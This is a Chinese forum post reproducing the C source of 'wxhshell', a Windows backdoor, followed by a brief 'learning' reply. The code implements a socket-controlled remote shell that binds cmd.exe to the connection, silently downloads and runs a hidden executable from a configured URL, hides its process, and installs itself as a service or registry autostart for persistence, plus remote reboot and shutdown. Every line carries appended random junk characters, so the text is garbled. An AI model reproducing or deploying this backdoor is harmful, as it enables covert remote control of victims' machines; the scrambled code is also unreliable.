  // 下载文件 Qf'g2 \  
  if(strstr(cmd,"http://")) { )NqRu+j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z'"Y+EWN  
  if(DownloadFile(cmd,wsh)) [1z.JfC :S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :" @-Bcln  
  else bg)}-]u]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V"}Jsr  
  } &$l#0?Kc^  
  else { M23r/eg]  
mwI7[I2q  
    switch(cmd[0]) { ua ky2SgN  
  dI!/H&`B]  
  // 帮助 6mgLeeY  
  case '?': { *{\))Zmhd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (<e<Q~(  
    break; #nAq~@X  
  } jCIY(/  
  // 安装 [r'A8!/|[  
  case 'i': { ki1j~q  
    if(Install()) Cbm^: _LR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aEVy20wd  
    else } .<(L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ji6.-[:  
    break; #~.RJ%  
    } Io&HzQW^a  
  // 卸载 '6*9pG-  
  case 'r': { dT (i*E\j  
    if(Uninstall()) ^r mQMjF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <~:2~r  
    else T4[/_;1g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1083p9Uh  
    break; ovDPnf(  
    } sc6NON#  
  // 显示 wxhshell 所在路径 %hdjQIH  
  case 'p': { [8 H:5 Ho  
    char svExeFile[MAX_PATH]; ZNL+w4  
    strcpy(svExeFile,"\n\r"); g=,}j]tl  
      strcat(svExeFile,ExeFile); qOnGP{   
        send(wsh,svExeFile,strlen(svExeFile),0); TNK1E  
    break; 3=*ur( Qy  
    } N0JdU4'  
  // 重启 `46.!  
  case 'b': { sH > zsc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !+QfQghAT  
    if(Boot(REBOOT)) 8%xBSob{j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M.:JT31>1  
    else { =);@<Jp  
    closesocket(wsh); j['B9vG  
    ExitThread(0); Z_ Y'#5o#  
    } l\uNh~\  
    break; x($Djx  
    } uU^iY$w  
  // 关机 0'YJczDq:7  
  case 'd': { mm.%Dcn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7?y 7fwER  
    if(Boot(SHUTDOWN)) ~-B+7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1MT,A_L  
    else { f*9O39&|  
    closesocket(wsh);  ARs]qUY  
    ExitThread(0); =2ED w_5E  
    } g2=PZR$  
    break; y~VI,82*  
    } 49c-`[d L  
  // 获取shell ='m%Iq7X  
  case 's': { z0#2?o  
    CmdShell(wsh); 9\/oL{  
    closesocket(wsh); \k{[HfVvn  
    ExitThread(0); %O<8H7e)V  
    break; PL3hrI 5  
  } Kpa$1x  
  // 退出 M]/DKo  
  case 'x': { a ~W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U%[ye0@:  
    CloseIt(wsh); ' 2O @  
    break; nAAv42j[  
    } e?*Teb ?R  
  // 离开 aql8Or1[  
  case 'q': { a(ITv roM/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <gfRAeXA  
    closesocket(wsh); V*@Y9G  
    WSACleanup(); A^A)arJS  
    exit(1); '3WtpsKA  
    break; Pz\K3-  
        } $CX3P)% `  
  } cCNRv$IO\  
  } ;gD\JA  
Eh|,[ D!E  
  // 提示信息 BenyA:W"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XoL DqN!  
} ;ko6igx)+  
  } )5gj0#|CG@  
7')W+`o8eL  
  return; ,]W|"NUI  
} <JU3sXl  
"k{so',7z  
// shell模块句柄 5gqs"trF  
int CmdShell(SOCKET sock) Y$]zba  
{ |D%mWQng  
STARTUPINFO si; K7K/P{@9[9  
ZeroMemory(&si,sizeof(si)); o[i N/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '[%#70*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ke?,AWfG  
PROCESS_INFORMATION ProcessInfo; w^$C\bCbh  
char cmdline[]="cmd"; j%^4 1y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 79exZ7|  
  return 0; ahy6a,)K~  
} 8T6NG!/  
|%mZ|,[  
// 自身启动模式 ?+.C@_QZQ  
int StartFromService(void) 2zW IB[  
{ s&-MJ05y  
typedef struct aekke//y  
{ *kg->J  
  DWORD ExitStatus; |iUC\F=-  
  DWORD PebBaseAddress; a.}#nSYP  
  DWORD AffinityMask; {\P%J:s#9  
  DWORD BasePriority; r~ 2*'zB  
  ULONG UniqueProcessId; x3+ {Y  
  ULONG InheritedFromUniqueProcessId; E G\;l9T  
}   PROCESS_BASIC_INFORMATION; 6w, "i#E!  
WKlyOK=}  
PROCNTQSIP NtQueryInformationProcess; kP ,8[r  
jy?*`q1]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'wG1un;t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wlaPE8Gc  
31alQ\TH  
  HANDLE             hProcess; r]Wt!oHm5  
  PROCESS_BASIC_INFORMATION pbi; n$r`s`}  
#S'uqP!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >RAg63!`  
  if(NULL == hInst ) return 0; 4n7Kz_!SVf  
NR1M W^R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c {%mi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -OlrA{=c_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 10 *Tk 8  
fe98 Y-e  
  if (!NtQueryInformationProcess) return 0; F}ATY!  
)`f-qTe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~ILv*v@m  
  if(!hProcess) return 0; >19s:+  
6AG]7d<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UGy3 B)  
to</  
  CloseHandle(hProcess); 0#!}s&j/  
Y6VJr+Ap(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x]x3iFD  
if(hProcess==NULL) return 0; L'? aoRj  
4oiE@y&{4  
HMODULE hMod; GyN|beou  
char procName[255]; c]aU}[s1  
unsigned long cbNeeded; >Wt@O\k  
9$ ;5J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m1Ya  
`?(J(H  
  CloseHandle(hProcess); TZt;-t`  
A%Ka)UU+n  
if(strstr(procName,"services")) return 1; // 以服务启动 xw 43P.  
w.(WG+  
  return 0; // 注册表启动 phjM(lmCo  
} 9]oT/ooM  
BoYY^ih  
// 主模块 ZZI} Ot{  
int StartWxhshell(LPSTR lpCmdLine) +u0of^}=  
{ r+E!V'{C  
  SOCKET wsl; ofQs /  
BOOL val=TRUE; O0L]xr  
  int port=0; *m+FMyr  
  struct sockaddr_in door; 9U6$-]J  
Yz_}*  
  if(wscfg.ws_autoins) Install(); KYm8|]'g  
s0f+AS|}  
port=atoi(lpCmdLine); y 2> 93m  
@gK`RmhGE5  
if(port<=0) port=wscfg.ws_port; @M4c/k}  
mnK<5KLg1  
  WSADATA data; |7c],SHm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -EP1Rl`\  
M*gvYo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ue@/o,C>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9S@x  
  door.sin_family = AF_INET; #&Tm%CvB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |nx3x  
  door.sin_port = htons(port); 2[+.* Ef  
pxTtV g.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;QXg*GNAv$  
closesocket(wsl); :5%98V>02  
return 1; bTimJp[b  
} C`i#7zsH  
=|1_6.tz  
  if(listen(wsl,2) == INVALID_SOCKET) { O|8@cO  
closesocket(wsl); @u9L+*F  
return 1; ?5nEmG|kO  
} [S,$E6&j$"  
  Wxhshell(wsl); |w|c!;,  
  WSACleanup(); ,W)DQwAg  
MSS[-}  
return 0; ?YL J Xq  
B.5+!z&7  
} SED52$zA  
Wn@oG@}~  
// 以NT服务方式启动 5WHz_'c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zU&Iy_Ke.  
{ qSr]d`7@  
DWORD   status = 0; 'fU#v`i  
  DWORD   specificError = 0xfffffff; 6I"KomJ9  
U? Jk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dfdK%/' $(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ip{R'HG/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k+ t(u]  
  serviceStatus.dwWin32ExitCode     = 0; OXrm!'  
  serviceStatus.dwServiceSpecificExitCode = 0; iRsB|7v[,  
  serviceStatus.dwCheckPoint       = 0; -z`FKej   
  serviceStatus.dwWaitHint       = 0; jSE)&K4nI  
$lT8M-yK\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2.%)OC!q&5  
  if (hServiceStatusHandle==0) return; tJ;qZyy(  
zni9  
status = GetLastError(); Gb `)d  
  if (status!=NO_ERROR) UVD D)  
{ vlkw Wm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $8eiifj  
    serviceStatus.dwCheckPoint       = 0; ,@f"WrQ  
    serviceStatus.dwWaitHint       = 0; \HLo%]A@M  
    serviceStatus.dwWin32ExitCode     = status; {UP[iw$~  
    serviceStatus.dwServiceSpecificExitCode = specificError; r 1r@TG\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h^=;\ng1l  
    return; g8MW6Y  
  } u:pOP  
m* _X PY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rah"\f2  
  serviceStatus.dwCheckPoint       = 0; .?6p~  
  serviceStatus.dwWaitHint       = 0; #b[bgxm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,.9lz  
} VNWB$mM.2  
JGHj(0j  
// 处理NT服务事件,比如:启动、停止 C7{VByxJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SDC|>e9i  
{ t7-]OY7%w_  
switch(fdwControl) h<%$?h+}  
{ b V  EJ  
case SERVICE_CONTROL_STOP: %RV81H9B  
  serviceStatus.dwWin32ExitCode = 0; >b2!&dm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~_EDJp1J  
  serviceStatus.dwCheckPoint   = 0; y`n?f|nf  
  serviceStatus.dwWaitHint     = 0; o:QL%J{[  
  { n%F _ 3`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,K,st+s|  
  } s>6h]H  
  return; HN5661;8  
case SERVICE_CONTROL_PAUSE: ;"Gy5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pCIS8 2L  
  break; 0R)x"4Ww  
case SERVICE_CONTROL_CONTINUE: p($vM^_<"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %9>w|%+;U+  
  break; F@Sk=l(  
case SERVICE_CONTROL_INTERROGATE: z<55[~3  
  break; F&wAre<  
}; mh}D[K=~%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LH4#p%Pb%  
} 0C :8X   
=|i_T%a  
// 标准应用程序主函数 %htI!b+"@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ly` A,dh  
{ {V>F69IU  
_" 9 q(1  
// 获取操作系统版本 &233QRYM  
OsIsNt=GetOsVer(); M6p\QKi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9 o,` peH  
jaEe$2F2  
  // 从命令行安装 bI ;I<Qa  
  if(strpbrk(lpCmdLine,"iI")) Install(); MBt\"b#t  
 ?P +Uv  
  // 下载执行文件 L /ibnGhq]  
if(wscfg.ws_downexe) { *w@ 1@6?j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cqnuf5e>L  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1=J& ^O{W  
} i5TGK#3o  
4x)vy -y  
if(!OsIsNt) { vgy.fP"@  
// 如果时win9x,隐藏进程并且设置为注册表启动 MuD ? KK  
HideProc(); phH@{mI  
StartWxhshell(lpCmdLine); sA?8i:]O:  
} m)L50ot:/  
else rNV3-#kU  
  if(StartFromService()) 5c::U=  
  // 以服务方式启动 J*rYw5QB  
  StartServiceCtrlDispatcher(DispatchTable); .4v?/t1  
else qvc< _k^  
  // 普通方式启动 m'}`+#C%)  
  StartWxhshell(lpCmdLine); m:)&:Y0 (a  
W|8VE,"7  
return 0; |^Y"*Y4*h  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八